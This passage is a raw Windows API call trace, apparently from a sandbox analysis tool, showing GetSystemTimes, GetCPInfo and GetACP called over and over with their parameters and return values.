[0050.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.180] GetACP () returned 0x4e4 [0050.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.180] GetACP () returned 0x4e4 [0050.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.180] GetACP () returned 0x4e4 [0050.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.180] GetACP () returned 0x4e4 [0050.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.180] GetACP () returned 0x4e4 [0050.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.180] GetACP () returned 0x4e4 [0050.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.180] GetACP () returned 0x4e4 [0050.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.180] GetACP () returned 0x4e4 [0050.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.180] GetACP () returned 0x4e4 [0050.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.180] GetACP () returned 0x4e4 [0050.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.181] GetACP () returned 0x4e4 [0050.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.181] GetACP () returned 0x4e4 [0050.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.181] GetACP () returned 0x4e4 [0050.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.181] GetACP () returned 0x4e4 [0050.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.181] GetACP () returned 0x4e4 [0050.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.181] GetACP () returned 0x4e4 [0050.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.181] GetACP () returned 0x4e4 [0050.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.181] GetACP () returned 0x4e4 [0050.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.181] GetACP () returned 0x4e4 [0050.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.182] GetACP () returned 0x4e4 [0050.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.182] GetACP () returned 0x4e4 [0050.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.182] GetACP () returned 0x4e4 [0050.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.182] GetACP () returned 0x4e4 [0050.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.182] GetACP () returned 0x4e4 [0050.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.182] GetACP () returned 0x4e4 [0050.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.182] GetACP () returned 0x4e4 [0050.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.182] GetACP () returned 0x4e4 [0050.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.182] GetACP () returned 0x4e4 [0050.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.182] GetACP () returned 0x4e4 [0050.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.183] GetACP () returned 0x4e4 [0050.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.183] GetACP () returned 0x4e4 [0050.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.183] GetACP () returned 0x4e4 [0050.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.183] GetACP () returned 0x4e4 [0050.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.183] GetACP () returned 0x4e4 [0050.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.183] GetACP () returned 0x4e4 [0050.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.183] GetACP () returned 0x4e4 [0050.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.183] GetACP () returned 0x4e4 [0050.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.183] GetACP () returned 0x4e4 [0050.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.184] GetACP () returned 0x4e4 [0050.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.184] GetACP () returned 0x4e4 [0050.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.184] GetACP () returned 0x4e4 [0050.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.184] GetACP () returned 0x4e4 [0050.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.184] GetACP () returned 0x4e4 [0050.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.184] GetACP () returned 0x4e4 [0050.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.184] GetACP () returned 0x4e4 [0050.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.184] GetACP () returned 0x4e4 [0050.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.184] GetACP () returned 0x4e4 [0050.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.185] GetACP () returned 0x4e4 [0050.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.185] GetACP () returned 0x4e4 [0050.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.185] GetACP () returned 0x4e4 [0050.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.185] GetACP () returned 0x4e4 [0050.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.185] GetACP () returned 0x4e4 [0050.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.185] GetACP () returned 0x4e4 [0050.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.185] GetACP () returned 0x4e4 [0050.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.185] GetACP () returned 0x4e4 [0050.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.185] GetACP () returned 0x4e4 [0050.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.185] GetACP () returned 0x4e4 [0050.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.186] GetACP () returned 0x4e4 [0050.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.186] GetACP () returned 0x4e4 [0050.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.186] GetACP () returned 0x4e4 [0050.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.186] GetACP () returned 0x4e4 [0050.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.186] GetACP () returned 0x4e4 [0050.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.186] GetACP () returned 0x4e4 [0050.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.186] GetACP () returned 0x4e4 [0050.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.186] GetACP () returned 0x4e4 [0050.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.186] GetACP () returned 0x4e4 [0050.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.187] GetACP () returned 0x4e4 [0050.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.187] GetACP () returned 0x4e4 [0050.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.187] GetACP () returned 0x4e4 [0050.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.187] GetACP () returned 0x4e4 [0050.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.187] GetACP () returned 0x4e4 [0050.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.187] GetACP () returned 0x4e4 [0050.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.187] GetACP () returned 0x4e4 [0050.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.187] GetACP () returned 0x4e4 [0050.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.187] GetACP () returned 0x4e4 [0050.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.187] GetACP () returned 0x4e4 [0050.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, 